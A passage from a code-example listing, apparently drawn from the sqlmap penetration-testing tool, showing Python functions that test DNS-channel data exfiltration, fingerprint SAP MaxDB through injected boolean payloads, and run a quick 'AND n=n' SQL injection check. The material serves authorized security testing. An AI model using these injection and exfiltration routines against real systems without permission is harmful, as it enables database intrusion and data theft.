        if not conf.forceDns:
            conf.dnsDomain = None
            errMsg += ". Turning off DNS exfiltration support"
            logger.error(errMsg)
        else:
            raise SqlmapNotVulnerableException(errMsg)
    else:
        infoMsg = "data retrieval through DNS channel was successful"
        logger.info(infoMsg)
Example #55
0
def dnsTest(payload):
    logger.info("testing for data retrieval through DNS channel")

    randInt = randomInt()
    kb.dnsTest = dnsUse(
        payload, "SELECT %d%s" %
        (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(),
                                       ""))) == str(randInt)

    if not kb.dnsTest:
        errMsg = "data retrieval through DNS channel failed. Turning off DNS exfiltration support"
        logger.error(errMsg)

        conf.dName = None
    else:
        infoMsg = "data retrieval through DNS channel was successful"
        logger.info(infoMsg)
Example #56
0
    def checkDbms(self):
        if conf.dbms in MAXDB_ALIASES:
            setDbms(DBMS.MAXDB)

            self.getBanner()

            if not conf.extensiveFp:
                return True

        logMsg = "testing SAP MaxDB"
        logger.info(logMsg)

        randInt = randomInt()

        payload = agent.fullPayload("AND NOROUND(%d)=%d" % (randInt, randInt))
        result  = Request.queryPage(payload)

        if result:
            logMsg = "confirming SAP MaxDB"
            logger.info(logMsg)

            payload = agent.fullPayload("AND MAPCHAR(NULL,1,DEFAULTMAP) IS NULL")
            result  = Request.queryPage(payload)

            if not result:
                warnMsg = "the back-end DBMS is not SAP MaxDB"
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.MAXDB)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            kb.dbmsVersion = None

            return True
        else:
            warnMsg = "the back-end DBMS is not SAP MaxDB"
            logger.warn(warnMsg)

            return False
Example #57
0
def simpletonCheckSqlInjection(place, parameter, value):
    """
    This is a function for the quickest and simplest
    SQL injection check (e.g. AND 1=1) - only works
    with integer parameters
    """

    result = False
    randInt = randomInt()

    if value.isdigit():
        payload = "%s AND %d=%d" % (value, randInt, randInt)
    else:
        return False

    payload = agent.payload(place, parameter, value, payload)
    firstPage, _ = Request.queryPage(payload,
                                     place,
                                     content=True,
                                     raise404=False)

    if not (wasLastRequestDBMSError() or wasLastRequestHTTPError()):
        if getComparePageRatio(kb.originalPage, firstPage,
                               filtered=True) > CONSTANT_RATIO:
            payload = "%s AND %d=%d" % (value, randInt, randInt + 1)

            payload = agent.payload(place, parameter, value, payload)
            secondPage, _ = Request.queryPage(payload,
                                              place,
                                              content=True,
                                              raise404=False)
            result = getComparePageRatio(firstPage, secondPage,
                                         filtered=True) <= CONSTANT_RATIO

    infoMsg = "simpleton test shows that %s " % place
    infoMsg += "parameter '%s' might " % parameter

    if result:
        infoMsg += "be injectable"
        logger.info(infoMsg)
    else:
        infoMsg += "not be injectable"
        logger.warn(infoMsg)

    return result